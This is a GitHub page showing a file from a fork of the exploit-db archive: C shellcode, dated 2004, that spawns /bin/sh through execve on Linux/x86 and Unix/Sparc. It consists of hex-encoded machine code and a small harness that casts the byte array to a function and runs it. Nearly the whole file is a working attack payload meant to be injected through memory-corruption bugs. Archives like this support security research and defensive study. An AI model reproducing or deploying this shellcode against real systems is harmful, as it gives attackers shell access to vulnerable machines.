forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path13468.c
More file actions
26 lines (21 loc) · 632 Bytes
/
Copy path13468.c
File metadata and controls
26 lines (21 loc) · 632 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/*
* Linux/x86 and Unix/Sparc
*
* execve() of /bin/sh by dymitri!!!
*
*/
#include <stdio.h>
char wcode[]=
"\x90\x90\xeb\x34\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc"
"\xa2\x14\x63\x68\xe0\x3b\xbf\xf0\xc0\x23\xbf\xf8\x90\x23\xa0\x10"
"\xc0\x23\xbf\xec\xd0\x23\xbf\xe8\x92\x23\xa0\x18\x94\x22\x80\x0a"
"\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
main()
{
void (*s)() = (void *)wcode;
printf("MULtiplataforma: %d\n\n",
strlen(wcode));
s();
}
// milw0rm.com [2004-09-12]